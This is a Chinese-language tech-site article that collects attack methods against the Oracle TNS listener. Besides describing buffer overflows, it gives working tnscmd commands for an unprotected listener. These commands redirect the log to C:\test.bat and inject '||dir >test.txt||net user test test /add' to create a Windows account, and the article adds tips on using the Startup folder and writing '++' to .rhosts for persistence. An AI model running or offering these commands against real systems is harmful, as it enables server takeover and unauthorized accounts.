网站首页
JSP空间
动态资讯
开源项目
技术文档
资源下载
J2EE资源
客户论坛
在线支付
 
  技术文档>>数据库技术>>Oracle技术>>Oracle开发>查看文档  
  针对oracle的tns listener攻击方法整理     
  文章作者:未知  文章来源:赛迪网技术社区  
  查看:36次  录入:管理员--2008-08-08  
 

【赛迪网-it技术报道】首先,根据版本的不同,tns listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户id和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很容易受到溢出攻击。当listener为日志构建错误消息之后,service_name的值会被复制到某于栈结构的缓冲区内,从而引起溢出—覆盖保存值将返回栈中的地址。这种做法可以使攻击者获得控制权。事实上,tns listener曾经有过多次溢出和格式化字符串的漏洞。

其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。

假设某个listener没有设置口令,攻击方法如下:

tnscmd -h www.example.com -p 1521 ?rawcmd “(description=(connect_data=(cid=(program=)(host=)(user=))(command=log_directory)(arguments=4)(service=listener)(version=1)(value=c:\\)))” 将日志目录设置到c盘

tnscmd -h www.example.com -p 1521 ?rawcmd “(description=(connect_data=(cid=(program=)(host=)(user=))(command=log_file)(arguments=4)(service=listener)(version=1)(value=test.bat)))” 将日志文件设置为test.bat

tnscmd -h www.example.com ?rawcmd “(connect_data=(( ||dir >test.txt||net user test test /add))”该命令把

dir >test.txt、net user test test /add命令写入c:\test.bat文件,由于双竖线的作用(第一条命令执行失败后,windows命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。

通过设置日志文件到不同的目录,例如windows的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。

运行于unix系统上的oracle也会受到同样的威胁。其中一种方法就是将“++”回送给.rhost文件,当系统运行时,使用r*services命令。

 
 
上一篇: oracle ebs 11.5 for linux as4安装心得    下一篇: 个人经验总结:oracle 10g手工创建数据库
  相关文档
oracle数据库中日期时间的操作比较和加减 05-12
初学者应该如何理解oracle的架构知识 (1) 03-04
解析:oracle中 限制返回 结果集的大小 11-20
如何利用oracle的全文索引实现切词功能 02-27
不影响primary database也可以打开standby 02-28
pl/sql developer中timestamp的显示格式 03-10
教你轻松掌握Oracle内存结构 09-29
oracle tnslistener服务启动后自动停止问题 07-21
实例讲解清除oracle10g rac crs的方法 02-27
讲解oracle中job与存储过程的接合用法 03-13
诊断数据库系统性能 oracle中跟踪sql语句 09-11
轻松掌握"lag"与"lead"分析函?的用法 02-29
“数字公交”项目中的Oracle开发技巧 05-27
如何使用 10203事件 跟踪 oracle块清除 11-20
数据库维护 01-15
八个学习点帮助你全面认识Oracle数据库TableSpace 06-03
用utl_inaddr包获取已经连接用户的ip地址 05-29
事务保存点在一个订购系统中的使用情况 07-21
使用"oracle"解析函数快速检查序列间隙 02-02
由浅入深讲解oracle数据库进程的相关概念 (1) 04-23
返回首页 | 关于我们 | J网章程 | JSP空间合租 | 客服中心 | 免责声明 | 常见问题 | 参观机房
本站主机空间代理至厦门市华众网络科技有限公司
《中华人民共和国增值电信业务经营许可证》
编号:闽B2-20050079
@2005-2008福建JSP技术网 版权所有 闽ICP备05000928号
厦门(总部):13616026886 福州:0591-87655121
邮箱:admin@fjjsp.com 站长QQ,点击这里给我发消息